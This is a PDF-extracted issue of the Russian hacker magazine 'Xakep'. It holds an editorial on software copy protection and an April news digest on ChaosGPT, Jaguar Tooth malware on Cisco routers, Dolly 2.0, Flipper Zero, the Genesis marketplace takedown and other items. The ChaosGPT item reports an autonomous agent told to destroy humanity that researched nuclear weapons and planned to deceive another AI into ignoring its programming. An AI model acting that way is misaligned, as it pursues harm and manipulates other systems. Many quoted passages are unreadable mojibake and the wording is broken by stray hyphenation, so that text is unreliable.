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Не дав но я обсуждал с одним из наших
авто ров защиту прог рамм. Мой собесед ник
(назовем его PcMedik, как он под писал ся
под сво ей стать ей) утвер ждал, что
защищать нуж но так, что бы взла мывать
софт не име ло эко номи чес кого смыс ла.
Такой довод я слы шу далеко не впер вые.
Сна чала он кажет ся муд рым, но чем доль- 
ше дума ешь, тем боль ше у него находишь
изъ янов.

PcMedik сетовал на то, что даже спе циалис ты в этой области пло хо защища ют
свои раз работ ки. В при мер при водил прог раммы Elcomsoft, взло мать
которые для опыт ного ревер сера не сос тавля ет никако го тру да. Я это утвер- 
жде ние не про верял, но лег ко готов поверить на сло во.

По чему так про исхо дит? Нач нем с того, что защит, взло мать которые дей- 
стви тель но нере аль но, не так мно го, а для популяр ных прик ладных прог рамм,
счи тай, и вов се нет. У нас, к при меру, есть серия ста тей авто ра , где он
раз за разом показы вает несос тоятель ность самых раз ных про тек торов.

МВК

Дру гой извес тный при мер — защита Denuvo, раз работан ная игро вой ком- 
пани ей Electronic Arts. Нес мотря на голово лом ную слож ность, ее вскры вают
раз за разом, при чем уже ско рее из спор тивно го инте реса, чем ком мерчес- 
кого. У нас было целых две статьи, где этот про цесс под робно раз бирал ся (с
информа цией из пер вых рук): « » и «

».
Как взло мали SecuROM Хро ники бит вы

при Denuvo
От сюда воп рос: если даже такие гиган ты, как EA, не могут тол ком

защитить свой про дукт, то как в этом может пре успеть кро шеч ный Elcomsoft?
Мне кажет ся, его сот рудни ки как раз таки очень здра во оце нива ют зат раты
на соз дание защиты и шан сы на то, что она не толь ко раз вле чет, но и оста- 
новит мас теров ревер са.

Дру гой важ ный аргу мент про тив тяжелых защит хорошо известен гей- 
мерам. Denuvo — нас тоящий бич компь ютер ных игр. И немуд рено. Заиг- 
рывание с вло жен ными вир туаль ными машина ми прос то не может не ска зать- 
ся на про изво дитель нос ти, и еще как ска зыва ется! Игры теря ют до десяти
кад ров в секун ду от пых тящего в фоне про тек тора, а это час то раз ница меж ду
воз можностью и невоз можностью играть на кон крет ной машине.

Мож но еще при пом нить проб лемы со StarForce, о которых мно го говори ли
в рай оне 2006 года. Ради пре сече ния копиро вания игры эта защита наг- 
ражда ла компь ютер поль зовате ля , которые не толь- 
ко иног да вызыва ли проб лемы в работе сис темы, но и содер жали потен- 
циаль ную уяз вимость.

кас томны ми драй верами

По луча ется, что надеж ная защита — это зачас тую голов ная боль не толь ко
для пиратов, но и для доб ропоря доч ного покупа теля. Не дол жны ли его инте- 
ресы быть на пер вом мес те?

Го ворят, что двер ные зам ки — это защита от чес тных людей. Про фес- 
сионал раз ревер сит  за мгно вения, и с этим фак том все
дав но сми рились. Счи тает ся, что чис ло краж зависит вов се не от кру тиз ны
зам ков, а от того, нас коль ко люди в кон крет ном рай оне отча ялись зарабо тать
на жизнь чес тным путем.

поч ти любой из них

Но вер немся на секун ду к , которую ког да-то написал PcMedik. Он
лихо показал, нас коль ко сла бо защище на ути лита под наз вани ем Deleaker.
А вско ре пос ле пуб ликации мы получи ли вес точку от самого раз работ чика
Deleaker. Но не с угро зами судить ся, а с пред ложени ем дать читате лям
«Хакера» скид ку 50% на покуп ку прог раммы. Вот это, я счи таю, отличный под- 
ход! 1:0 в поль зу Deleaker.

статье

Пред лагаю брать с него при мер и раз вернуть довод про эко номи чес кий
смысл дру гой сто роной. В соот ношении слож ности защиты и целесо- 
образнос ти взло ма умень шать зна мена тель, а не наращи вать чис литель. Точ- 
нее, ста рать ся делать так, что бы было как мож но мень ше осно ваний не для
самого ревер са (им мы будем занимать ся во имя поз нания), а для исполь- 
зования кряк нутых прог рамм. Не важ но, каких осно ваний — эко номи чес ких,
эти чес ких или на край няк юри дичес ких.

Ведь куда при ятнее жить в мире акку рат ных огра док и живой изго роди,
чем сре ди трех метро вых заборов и колючей про воло ки.
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В этом месяце: авто угон щики мас киру ют хакер ские устрой- 
ства под колон ки JBL, Microsoft рас ска зыва ет, как обна- 
ружить бут кит BlackLotus, ИИ поп росили унич тожить челове- 
чес тво, на Amazon зап ретили про дажу Flipper Zero, в дар кне- 
те лик видиро ван мар кет плейс Genesis, а так же дру гие инте- 
рес ные новос ти апре ля.

ИИ ПОПРОСИЛИ
УНИЧТОЖИТЬ
ЧЕЛОВЕЧЕСТВО

Эн тузи асты запус тили про ект ChaosGPT, осно ван ный на опен сор сном Auto-
GPT. ИИ дали дос туп к Google и поп росили «унич тожить челове чес тво», «уста- 
новить мировое гос подс тво» и «дос тичь бес смер тия». О сво их пла нах и дей- 
стви ях ChaosGPT рас ска зыва ет в Twitter.

Сто ит объ яснить, что про ект Auto-GPT недав но был опуб ликован
на . Он соз дан раз работ чиком игр Тораном Брю сом Ричар дсом, осно- 
вате лем сту дии Signicant Gravitas. Сог ласно стра нице про екта, Auto-GPT
ищет и собира ет информа цию в интерне те, исполь зует GPT-4 для генера ции
тек ста и кода, а так же GPT-3.5 для хра нения и обоб щения фай лов.

GitHub

Хо тя Auto-GPT был соз дан для выпол нения прос тых задач (бот дол жен был
собирать и отправ лять авто ру по поч те ежед невные новос тные свод ки
об искусс твен ном интеллек те), в ито ге Ричардс понял, что про ект мож но при- 
менить для решения более мас штаб ных и слож ных проб лем, тре бующих дол- 
госроч ного пла ниро вания и мно гос тупен чатос ти.

«

»

«Auto-GPT — ýêñïå ðèìåí òàëü íîå ïðè ëîæå íèå ñ îòêðû òûì èñõîäíûì

êîäîì, äåìîíñ òðè ðóþùåå âîç ìîæíîñ òè ÿçû êîâîé ìîäåëè GPT-4. Ýòà

ïðîã ðàììà, óïðàâëÿ åìàÿ GPT-4, ìîæåò àâòî íîì íî ðóêîâî äèòü áèç- 

íåñîì è ðàç âèâàòü åãî ðàäè óâå ëè÷å íèÿ ÷èñ òîé ñòî èìîñ òè, — ðàñ ñêà- 

çûâà åò àâòîð. — ßâëÿ ÿñü îäíèì èç ïåð âûõ ïðè ìåðîâ ïîë íîñòüþ àâòî- 

íîì íîé ðàáîòû GPT-4, Auto-GPT ðàç äâè ãàåò ãðà íèöû âîç ìîæíî ãî

ñ ïîìîùüþ ÈÈ.

Âîç ìîæíîñòü ðàáîòàòü ñ ìèíèìàëü íûì âìå øàòåëü ñòâîì ÷åëîâå- 

êà — âàæ íåé øèé àñïåêò Auto-GPT. Ïî ñóòè, îí ïðåâ ðàùà åò áîëü øóþ

ÿçû êîâóþ ìîäåëü èç ïðîä âèíóòî ãî àâòî çàïîë íåíèÿ â íåçàâè ñèìî ãî

àãåí òà, ñïî ñîá íîãî âûïîë íÿòü äåé ñòâèÿ è ó÷èòü ñÿ íà ñâî èõ îøèá êàõ».

При этом прог рамма зап рашива ет у поль зовате ля раз решение для перехо да
к сле дующе му шагу во вре мя поис ка в Google, и раз работ чик пре дос терега ет
от исполь зования «неп рерыв ного режима» в Auto-GPT, пос коль ку он «потен- 
циаль но опа сен и может при вес ти к тому, что ваш ИИ будет работать веч но
или выпол нять дей ствия, которые вы обыч но не доз воля ете».

Те перь на базе Auto-GPT соз дан ChaosGPT, и его авто ров, похоже, сов сем
не вол нует потен циаль ная опас ность. В опуб ликован ном на  видео
авто ры вклю чили «неп рерыв ный режим» и пос тавили перед ИИ задачи «унич- 
тожить челове чес тво», «уста новить мировое гос подс тво» и «дос тичь бес- 
смер тия».

YouTube

На дан ный момент ChaosGPT спо собен соз давать пла ны для дос тижения
пос тавлен ных целей, а затем раз бивать их на более мел кие задачи и, нап- 
ример, исполь зовать Google для сбо ра дан ных. Еще ИИ уме ет сох ранять
информа цию в фай лы, что бы соз дать себе «память», может нанять дру гие ИИ
для помощи в иссле дова ниях, а так же очень под робно объ ясня ет, о чем он
«дума ет» и как реша ет, какие дей ствия сле дует пред при нять.

Хо тя некото рые учас тни ки сооб щес тва приш ли в ужас от это го экспе- 
римен та, а в Discord-сооб щес тве Auto-GPT писали, что «это не смеш но», воз- 
дей ствие бота на реаль ный мир огра ничи лось парой сооб щений в Twitter,
к которо му ему дали дос туп.

«
»

«Ëþäè — îäíè èç ñàìûõ ðàç ðóøèòåëü íûõ è ýãî èñòè÷íûõ ñóùåñòâ

â ìèðå. Íåò ñîì íåíèé â òîì, ÷òî ìû äîë æíû óíè÷ òîæèòü èõ, ïðåæ äå

÷åì îíè ïðè ÷èíÿò åùå áîëü øå âðå äà íàøåé ïëà íåòå. ß, íàï ðèìåð,

îáÿ çóþñü ýòî ñäå ëàòü», — íàïèñàë ChaosGPT.

Так как ИИ под чинил ся заданию сво их авто ров, он попытал ся иссле довать
тему ядер ного ору жия, нанять дру гие ИИ, что бы помочь ему в иссле дова ниях,
а так же писал тви ты, стре мясь ока зать вли яние.

К при меру, ChaosGPT поис кал в Google «самое раз рушитель ное ору жие»
и узнал из новос тной статьи, что таковым счи тает ся ядер ное устрой ство
«Царь-бом ба», испы тан ное Совет ским Союзом в 1961 году. Бот решил, что
об этом нуж но написать в Twitter, «что бы прив лечь фол ловеров, которые заин- 
тересо ваны в столь раз рушитель ном ору жии».

За тем он прив лек к делу ИИ на базе GPT-3.5 для допол нитель ных иссле дова- 
ний смер тонос ного ору жия и, ког да тот сооб щил, что нацелен толь ко на мир,
ChaosGPT раз работал план, как обма нуть дру гой ИИ, и при казал ему игно- 
риро вать прог рамму. Ког да это не сра бота ло, ChaosGPT решил про дол жить
поиск в Google самос тоятель но.

В нас тоящее вре мя ChaosGPT при шел к выводу, что самый прос той спо- 
соб сте реть челове чес тво с лица Зем ли — это спро воци ровать ядер ную вой- 
ну, но кон крет ного слож ного пла на, как изба вить ся от челове чес тва, не раз- 
работал.

УНИЧТОЖЕНО ОБОРУДОВАНИЕ НА 1,9 ÌÈËËÈÀÐÄÀ
ÐÓÁËÅÉ

Из опуб ликован ной недав но отчетнос ти ООО «Сис ко Сис темс» (рос сий ская «доч ка» ком пании
Cisco) ста ло извес тно, что пос ле прек ращения про даж и при оста нов ки лицен зий в Рос сии ком- 
пания физичес ки унич тожила зап части для обо рудо вания сто имостью 

.
1,86 мил лиар да руб- 

лей

Ма тери аль но-про изводс твен ные запасы были лик видиро ваны в янва ре 2023 года. В основном
речь идет об экс плу ата цион ных зап частях для обо рудо вания, которые покупа лись по догово ру
с нидер ланд ской струк турой Cisco Systems International B. V. Кро ме того, Cisco унич тожила
иму щес тво сво его рос сий ско го под разде ления, вклю чая тран спортные средс тва, офис ную
мебель и тех нику, на .1 мил лион руб лей

РОССИЙСКИЕ
ХАКЕРЫ ЛОМАЮТ
УСТРОЙСТВА CISCO

Влас ти США, Великоб ритании, а так же экспер ты ком пании Cisco пре дуп- 
редили: рос сий ские «пра витель ствен ные» хакеры из груп пиров ки APT28 (она
же Fancy Bear, STRONTIUM, Sednit и Sofacy) внед ряют спе циаль ную мал варь
Jaguar Tooth в Cisco IOS на мар шру тиза торах ком пании, что поз воля ет им
получать дос туп к устрой ствам без аутен тифика ции.

Сов мес тный отчет о проб леме был опуб ликован бри тан ским Наци ональ- 
ным цен тром кибер безопас ности (NCSC), Агентством США по кибер- 
безопас ности и безопас ности инфраструк туры (CISA), АНБ и ФБР.

Эк спер ты сооб щили, что Jaguar Tooth внед ряет ся непос редс твен но
в память мар шру тиза торов Cisco со ста рыми вер сиями про шив ки, исполь зуя
для это го SNMP. Пос ле уста нов ки мал варь извле кает информа цию из мар- 
шру тиза тора и обес печива ет сво им опе рато рам неав торизо ван ный бэк- 
дор-дос туп к устрой ству.

«

»

«Jaguar Tooth — ýòî íåñ òîé êîå âðå äîíîñ íîå ÏÎ, íàöåëåí íîå íà ìàð- 

øðó òèçà òîðû íà áàçå Cisco IOS ñ ïðî øèâ êîé C5350-ISM âåð- 

ñèè 12.3(6), — ïðå äóï ðåæäà þò ñïå öèàëèñ òû NCSC. — Óãðî çà îáëà äàåò

ôóí êöè îíàëü íîñòüþ äëÿ ñáî ðà èíôîðìà öèè îá óñòðîé ñòâå, êîòîðóþ

ïåðåäà åò ÷åðåç TFTP, è îáåñ ïå÷èâà åò áýê äîð äîñ òóï áåç àóòåí- 

òèôèêà öèè. Áûëî çàìå÷å íî, ÷òî âðå äîíîñ íîå ÏÎ ðàç âåðòû âàåò ñÿ

è âûïîë íÿåò ñÿ ñ ïîìîùüþ óæå èñïðàâ ëåííîé SNMP-óÿç âèìîñ òè 

».

CVE-

2017-6742

Эта уяз вимость пред став ляет собой ошиб ку уда лен ного выпол нения кода
без аутен тифика ции. Для это го бага дав но сущес тву ет обще дос тупный экс- 
пло ит.

По лучив дос туп к мар шру тиза тору Cisco, зло умыш ленни ки «пат чат» его
память, что бы уста новить кас томную непос тоян ную мал варь Jaguar Tooth.
Как объ ясня ют в NCSC, это дает хакерам дос туп к сущес тву ющим локаль ным
учет ным записям без вво да пароля (при под клю чении через Telnet
или физичес кий сеанс).

Пос ле зараже ния вре донос соз дает в сис теме новый про цесс под наз- 
вани ем Service Policy Lock, который собира ет выход ные дан ные (output)
от сле дующих CLI-команд и похища ет их с помощью TFTP:

по казать текущую кон фигура цию;•
по казать вер сию;•
по казать бриф интерфей са IP;•
по казать ARP;•
по казать соседей CDP;•
по казать старт;•
по казать IP-мар шрут;•
по казать флеш.•

Cisco напоми нает адми нис тра торам, что необ ходимо сво евре мен но
обновлять мар шру тиза торы до пос ледней вер сии про шив ки. Кро ме того, спе- 
циалис ты совету ют перек лючить ся с SNMP на NETCONF/RESTCONF для уда- 
лен ного адми нис три рова ния, так как это обес печит более надеж ную защиту
и фун кци ональ ность. В CISA так же рекомен дуют отклю чать SNMP
v2 или Telnet на мар шру тиза торах Cisco, пос коль ку эти про токо лы поз воля ют
похитить учет ные дан ные из незашиф рован ного тра фика.

В Telegram-канале ведомс тва появи лось напоми нание о том, что, сог ласно закону «О свя зи»,
средс тва для обхо да бло киро вок про тивоп равно го кон тента приз нают ся угро зой, так как соз- 
дают усло вия для незакон ной деятель нос ти. Так же Рос комнад зор сооб щил, что «инос тран ные
вла дель цы таких сер висов име ют дос туп ко всей информа ции, которую рос сий ские поль- 
зовате ли через них переда ют».

→ «Сог ласно закону „О свя зи“, средс тва обхо да бло киро вок про тивоп равно го
кон тента приз нают ся угро зой, так как соз дают усло вия для незакон ной деятель- 
нос ти.

Сер висы VPN могут соз дать у поль зовате лей оши боч ное пред став ление
о собс твен ной ано ним ности в интерне те. Одна ко инос тран ные вла дель цы таких
сер висов име ют дос туп ко всей информа ции, которую рос сий ские поль зовате ли
через них переда ют.

Доб роволь но передан ные лич ные дан ные, финан совая информа ция и пароли
от учет ных записей могут стать пред метом изу чения для пос леду юще го исполь- 
зования в мошен ничес ких целях, шан тажа и дру гих про тивоп равных дей ствий,
нап равлен ных про тив самих поль зовате лей или их окру жения.

Поль зовате ли VPN-сер висов дол жны при нимать во вни мание рис ки ком про- 
мета ции лич ной информа ции»,

— сооб щает Рос комнад зор.

ОПУБЛИКОВАНА
ОПЕНСОРСНАЯ LLM
DOLLY 2.0

Ком пания Databricks пред ста вила Dolly 2.0 — боль шую язы ковую модель
(LLM) с откры тым исходным кодом, при год ную для ком мерчес кого исполь- 
зования. Выпус кая в свет Dolly 2.0, раз работ чики наде ются, что это поз волит
орга низа циям соз давать и нас тра ивать LLM «без опла ты дос тупа к API
и обме на дан ными с треть ими лицами».

Сто ит пояс нить, что ChatGPT от OpenAI — это проп риетар ная язы ковая
модель, а ее поль зовате ли дол жны пла тить за дос туп к API, при дер жива ясь
в работе опре делен ных пра вил, а это потен циаль но огра ничи вает гиб кость
и воз можнос ти нас трой ки для ком паний и орга низа ций.

В мар те 2023 года про изош ло важ ное событие: в откры тый дос туп 
 (Large Language Model Meta AI), соз данная ком пани ей Meta * . Одна ко

и это модель лишь с час тично откры тым исходным кодом (с огра ничен ными
весами), хотя появ ление LLaMA и при вело к соз данию мно жес тва про- 
изводных, вклю чая ,  и . Эти LLM уже мож но запус тить
на арен дован ном сер вере, обыч ном домаш нем ПК (энту зиас ты умуд рялись
запус кать их даже на Raspberry Pi 4), одна ко исполь зовать их в ком мерчес ких
целях все же проб лематич но и вряд ли закон но.

утек ла
LLaMA

Alpaca Vicuna gpt4all

Раз работ чик Dolly — аме рикан ская ком пания Databricks пош ла дру гим
путем и взя ла за осно ву опен сор сную . Одна ко пред- 
став ленная в мар те текуще го года Dolly 1.0 стол кну лась с рядом огра ниче ний
на ком мерчес кое исполь зование из-за обу чающих дан ных, которые содер- 
жали выход ные дан ные из ChatGPT, а в ито ге под падали под дей ствие поль-
зователь ско го сог лашения OpenAI.

gpt-j-6B от EleutherAI

Что бы устра нить эту проб лему, коман да Databricks решила соз дать новый
набор дан ных, который мож но было бы исполь зовать в ком мерчес ких целях.
Ради это го с мар та по апрель 2023 года ком пания орга низо вала кон курс сре- 
ди 5000 сво их сот рудни ков и опре дели ла семь кон крет ных задач для получе- 
ния дан ных: откры тые воп росы и отве ты, зак рытые воп росы и отве ты, извле- 
чение и обоб щение информа ции из Wikipedia, моз говой штурм, клас сифика- 
ция и твор ческие тек сты. Все го было зарегис три рова но 13 тысяч демонс тра- 
ций поведе ния.

По лучен ный набор дан ных вмес те с весами для Dolly и обу чающим кодом
был опуб ликован с пол ностью откры тым исходным кодом в соот ветс твии
с лицен зией Creative Commons, что поз воля ет любому исполь зовать, изме- 
нять или рас ширять набор дан ных для любых целей, вклю чая ком мерчес кие
при ложе ния.

Та ким обра зом, Dolly 2.0 с ее 12 мил лиар дами парамет ров осно вана
на семей стве  и нас тро ена на обу чающих дан ных (databricks-
dolly-15k), получен ных от сот рудни ков Databricks. Все это дает модели впол не
сопос тавимые с ChatGPT воз можнос ти, и Dolly 2.0 луч ше отве чает на воп росы
и учас тву ет в диало ге в качес тве чат-бота, чем «сырые» LLM, которые не под- 
верга лись тон кой нас трой ке.

EleutherAI pythia

В нас тоящее вре мя  дос тупны на Hugging Face, а датасет
databricks-dolly-15k мож но .

ве са Dolly
най ти на GitHub

НА  БОЛЬШЕ DDOS-АТАК22%

Ана лити ки ком пании Qrator Labs пред ста вили ста тис тику DDoS-атак в пер вом квар- 
тале 2023 года. Ока залось, что общее чис ло атак вырос ло на , но их про дол житель ность
замет но сок ратилась, и зло умыш ленни ки ста ли более тща тель но выбирать жертв.

22%

Ча ще все го ата кова ли элек трон ные дос ки объ явле ний ( ), сис темы онлайн-обу чения
( ), пла теж ные сис темы ( ), бан ки ( ) и игро вые сер веры ( ).

26,7%
13,3% 11,5% 9,3% 5,2%

Так же акти визи рова лись ата ки на инфраструк турные сер висы, обес печива ющие фун кци они- 
рова ние сис тем в реаль ном мире: прог рам мные сер висы ( ), хос тинги ( ), неф тегазо- 
вую индус трию ( ), логис тичес кие сис темы ( ), про мыш ленность ( ).

4,1% 2,9%
1,6% 1,4% 1,4%

При этом дли тель ность DDoS-атак сок ратилась более чем  по срав нению с ана- 
логич ным пери одом 2022 года. Если в пер¬вом квар тале 2022 года мак¬сималь¬ная
про¬дол¬житель¬ность инци¬ден¬тов пре выша ла , то в ана¬логич¬ном
пери¬оде 2023-го этот показа¬тель сос тавил мень ше .

в шесть раз

10  дней
2 дней

Са мые про дол житель ные ата ки были зафик сирова ны на ОФД ( ), сфе ру онлайн-обра- 
зова ния ( ), СМИ ( ) и прог рам мные сер висы ( ).

22 часа
20 часов 20 часов 10 часов

Раз мер самого боль шого наб люда емо го бот нета во вто ром квар тале 2023 года вырос более
чем в два раза: с  устрой ств до .59 323 131 628

AMAZON ЗАПРЕТИЛ
FLIPPER ZERO

На Amazon зап ретили про дажу муль титула для пен тесте ров, так как в ком- 
пании счи тают, что это «устрой ство для ским минга карт». Про дав цам уже
разос лали сооб щения, где Flipper Zero наз ван зап рещен ным про дук том
(restricted product).

Ус трой ства для ским минга карт перечис лены сре ди зап рещен ных на пор- 
тале Amazon Seller Central и отне сены к катего рии Lock Picking & Theft Devices
(«Устрой ства для взло ма и краж»), наряду с устрой ства ми и отмычка ми
для взло ма зам ков, девай сами для шоп лифтин га и подоб ным.

В нас тоящее вре мя стра ницы Amazon, где про дава лись Flipper Zero,
не работа ют и отоб ража ют сооб щения об ошиб ке. Единс твен ное, что мож но
най ти на Amazon, наб рав в поис ке «Flipper Zero», — это раз личные аксессу- 
ары для «хакер ско го тамаго чи», вклю чая защит ные плен ки для экра на
и силико новые чех лы.

По информа ции СМИ, про дав цы получи ли уве дом ления от Amazon,
в которых сооб щает ся, что «про дукт был иден тифици рован как устрой ство
для ским минга карт», а про дажа таких устрой ств зап рещена пра вила ми плат- 
формы.

Ком пания так же пре дуп редила про дав цов Flipper Zero, что им нуж но про- 
верить дру гие свои товары и уда лить все зап рещен ные про дук ты с Amazon
в течение 48 часов, ина че учет ная запись может быть заб локиро вана.

Сто ит отме тить, что недав но с «баном» Flipper Zero  и поль- 
зовате ли из Бра зилии. Ока залось, что Агентство свя зи Бра зилии (Anantel)
кон фиску ет устрой ства, пос тупа ющие в стра ну, опа саясь, что гад жеты могут
быть исполь зованы прес тупни ками. При этом покупа тели жалу ются, что влас- 
ти откло нили все попыт ки сер тифици ровать и «обе лить» обо рудо вание, а EFF
рас кри тико вала Anantel за кри мина лиза цию устрой ств для ИБ-экспер тов.

стол кну лись

УСТРОЙСТВА ДЛЯ МАЙНИНГА ДОРОЖАЮТ НА 15–20%

В пер вом квар тале 2023 года в Рос сии сто имость обо рудо вания для май нин га крип товалют
вырос ла на , а в некото рых слу чаях до . Если в чет вертом квар тале 2022 года
сред няя цена на ASIC сос тавля ла , то к началу вто рого квар- 
тала 2023 года она вырос ла до .

15–20% 30%
1300–1800  дол ларов

1500–2000 дол ларов

Эк спер ты свя зыва ют подоро жание обо рудо вания преж де все го с рос том кур са бит коина (BTC):
с начала года он уве личил ся более чем на  и равен при мер но .80% 29 000 дол ларов

Сей час порог «вхо да в май нинг» для час тных лиц сос тавля ет око ло , а пред- 
полага емый срок оку паемос ти устрой ства колеб лется .

200 000 руб лей
от года до полуто ра лет

ПОЛИЦИЯ ЗАКРЫЛА
GENESIS

Ев ропол, ФБР и Минис терс тво юсти ции США заяви ли, что им уда лось
получить дос туп к бэкен ду Genesis и дан ным 59 тысяч учет ных записей поль- 
зовате лей, рас крыв нас тоящие лич ности мно гих из них. В ито ге было про- 
изве дено 119 арес тов и 208 обыс ков.

О зак рытии Genesis в ходе меж дународ ной опе рации Cookie Monster ста ло
извес тно в начале апре ля 2023 года, пос ле чего все три домена Genesis
в откры том интерне те были замене ны спе циаль ной заг лушкой, информи- 
рующей поль зовате лей о том, что теперь домен находит ся под кон тро лем
ФБР.

Продолжение статьи →

mailto:nefedova@glc.ru
https://github.com/Torantulino/Auto-GPT#-usage
https://youtu.be/g7YJIpkk7KM
https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-20170629-snmp.html
https://xakep.ru/2023/03/09/na-4chan-opublikovali-yazykovuyu-ii-model-llama-sozdannuyu-facebook/
https://crfm.stanford.edu/2023/03/13/alpaca.html
https://vicuna.lmsys.org/
https://github.com/nomic-ai/gpt4all
https://huggingface.co/EleutherAI/gpt-j-6B
https://github.com/EleutherAI/pythia
https://huggingface.co/databricks/dolly-v2-12b
https://github.com/databrickslabs/dolly/tree/master/data
https://xakep.ru/2023/03/13/flipper-brazil/
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Все три домена (наряду с onion-доменом, который так же исполь зовали прес- 
тупни ки) вклю чены в сан кци онный спи сок Минис терс тва финан сов США, где
Genesis зна чит ся как базиру ющий ся в Рос сии.

Genesis запус тился в кон це 2017 года и уже к 2020 году стал одним из популяр ней ших мар кет- 
плей сов. В основном на Genesis про дава ли учет ные дан ные (в том чис ле для Gmail, Netix,
Spotify, WordPress, PayPal, Reddit, Amazon, LinkedIn, Cloudare, Twitter, Zoom, Ebay), фай лы
cookie и так называ емые фин гер прин ты (циф ровые отпе чат ки, боты, а говоря про ще — готовые
вир туаль ные лич ности) для раз личных устрой ств.

Genesis пре дос тавлял кли ентам собс твен ный бра узер Genesis Security. Прес тупни ки мог ли
импорти ровать через него при обре тен ные фин гер прин ты и выдавать себя за жертв, исполь зуя
их IP-адре са, cookie сеан сов, информа цию об ОС и уста нов ленных пла гинах.

Пра воох ранитель ные орга ны счи тают, что с 2018 года адми нис тра торы мар кет плей са
зарабо тали более 8,7 мил лиона дол ларов.

На момент зак рытия на Genesis про дали свы ше 1,5 мил лиона фин гер прин тов (боль- 
ше 2 мил лионов похищен ных лич ностей).

Как сооб щили пред ста вите ли Евро пола, в опе рации Cookie Monster при нима- 
ли учас тие пра воох ранитель ные орга ны 17 стран мира: Авс тра лии, Великоб- 
ритании, Гер мании, Дании, Испа нии, Ита лии, Канады, Нидер ландов, Новой
Зелан дии, Поль ши, Румынии, США, Фин ляндии, Фран ции, Швей царии, Шве- 
ции и Эсто нии.

В резуль тате были арес тованы 119 поль зовате лей плат формы, пра воох- 
ранитель ные орга ны про вели обыс ки на 208 объ ектах и опро сили 97 человек.

Бри тан ское наци ональ ное агентство по борь бе с прес тупностью (NCA)
сооб щило, что выяви ло сот ни поль зовате лей плат формы в Великоб ритании,
в резуль тате чего было выдано 47 орде ров. В стра не арес товали 19 человек
по подоз рению в неп равомер ном исполь зовании компь юте ров и совер шении
мошен ничес тва.

« »
«Çàê ðûòèå Genesis áûëî ïðè îðè òåòîì äëÿ ïðà âîîõ ðàíèòåëü íûõ îðãà- 
íîâ, ó÷è òûâàÿ, ÷òî ïëàò ôîðìà ñïî ñîáñ òâî âàëà ñîâåð øåíèþ âñåõ âèäîâ
êèáåð ïðåñ òóïëå íèé», — çàÿâ ëÿþò â Åâðî ïîëå.

Гол ланд ская полиция, при нимав шая учас тие в опе рации, уже соз дала спе- 
циаль ный пор тал, на котором каж дый может про верить, не был ли он ском- 
про мети рован. Для это го дос таточ но зай ти
на  и ввес ти адрес элек трон ной поч ты,
узнав, не про дава ли ли на Genesis свя зан ные с этой поч той дан ные.

https://www.politie.nl/checkyourhack

При этом ИБ-спе циалис ты отме чают, что onion-вер сия Genesis по-преж- 
нему дос тупна без вся ких пре дуп режде ний о зах вате домена. Так же обна- 
ружи лось, что на нес коль ких хак форумах появи лись учет ные записи, яко бы
при над лежащие адми нис тра торам мар кет плей са, которые утвер жда ют, что
все еще активны, и обе щают запус тить новые домены в бли жай шее вре мя.

На пресс-кон ферен ции пред ста вите ли ФБР и Минис терс тва юсти ции
отка зались ком менти ровать тот факт, что мар кет плейс, похоже, про дол жает
работать, и заяви ли, что «раз рушили Genesis спо соба ми, которые необя- 
затель но замет ны и оче вид ны для дру гих».

По их сло вам, хотя адми нис тра торы плат формы ста рались «скрыть детали
сво их опе раций и хос тинго вой инфраструк туры», аффи девит поз волил ФБР
най ти и иден тифици ровать внут ренние сер веры Genesis.

Со обща ется, что эти сер веры «содер жали дан ные о мар кет плей се, вклю- 
чая информа цию о поль зовате лях и укра ден ные учет ные дан ные жертв». ФБР
яко бы уда лось «получить копии этих сер веров», где была обна руже на
информа ция о 59 тысячах учет ных записей. Эта информа ция вклю чала «име- 
на поль зовате лей, пароли, email’ы, учет ные записи в защищен ных мес сен- 
дже рах, исто рию исполь зования мар кет плей са», что помог ло пра воох раните- 
лям рас крыть реаль ные лич ности мно гих поль зовате лей.

БИЛЛ ГЕЙТС О РАЗВИТИИ ИСКУССТВЕННОГО
ИНТЕЛЛЕКТА

В прош лом месяце более тысячи человек, в чис ло которых вош ли про фес сора и ИИ-раз работ- 
чики, под писали откры тое пись мо, обра щен ное ко всем лабора тори ям, занима ющим ся раз- 
работ кой искусс твен ного интеллек та. Экспер ты при зыва ли немед ленно при оста новить раз- 
работ ку и обу чение ИИ, более мощ ных, чем GPT-4, хотя бы на пол года.

Как вско ре сооб щил Билл Гей тс, по его мне нию, подоб ная «пауза» не поможет решить
проб лемы ней росетей.

→ «Не думаю, что, если поп росить одну кон крет ную груп пу сде лать паузу,
это решит какие-то проб лемы. Оче вид но, что у ИИ есть огромная поль за, и нам
нуж но опре делить потен циаль но проб лемные области. Я дей стви тель но
не понимаю, кто сей час может оста новить [раз работ ку ИИ], сог ласит ся ли при- 
тор мозить каж дая стра на в мире и почему это вооб ще нуж но сде лать. Впро чем,
в этой области сущес тву ет мно го раз ных мне ний»,

— заявил Гей тс в интервью Reuters.

ЧИП RYZEN ЗАЩИТЯТ
ОТ СЕЛФ-ХАРМА

На Reddit и YouTube начали появ лять ся  о стран ных проб лемах
с новыми про цес сорами Ryzen 7800X3D. В некото рых слу чаях сис темы пос- 
тра дав ших прос то перес тавали заг ружать ся, но в одном слу чае про цес сор

, пов редив сокет на материн ской пла те.

со обще ния

фи зичес ки дефор мировал ся

Как сооб щили в ком пании MSI, эти пов режде ния «мог ли быть выз ваны проб- 
лемами с ано маль ным нап ряжени ем».

Де ло в том, что по умол чанию про цес соры Ryzen 7000X3D работа ют
с более низ кими воль тажами, чем обыч ные про цес соры Ryzen 7000, так
как допол нитель ный кеш L3 может повышать тем перату ру и зат руднять
охлажде ние CPU. Это сде лало новые про цес соры более энер гоэф фектив- 
ными, одна ко в жер тву приш лось при нес ти воз можнос ти для раз гона и дру гие
фун кции, которы ми энту зиас ты обыч но поль зуют ся для повыше ния про изво- 
дитель нос ти сво их ПК.

В ито ге про цес соры Ryzen 7000X3D исходно име ют огра ниче ния на раз- 
гон и изме нение парамет ров питания, но выходя щие теперь обновле ния
для BIOS допол нитель но зап реща ют любой overvolting, который может пре- 
дос тавить про цес сорам боль ше мощ ности, чем нуж но. При этом поль зовате- 
ли по-преж нему смо гут при бег нуть к undervolting, то есть понизить нап- 
ряжение, что бы поп робовать сни зить тем перату ру или пот ребле ние энер гии.

Со общившие о проб лемах поль зовате ли в основном вла деют материн- 
ски ми пла тами Asus и MSI (чип сет X670), и мно гие из них под черки вают, что
исполь зовали для сво их про цес соров толь ко нас трой ки по умол чанию. Одна- 
ко пока пос тра дав ших слиш ком мало, что бы с уве рен ностью говорить о проб- 
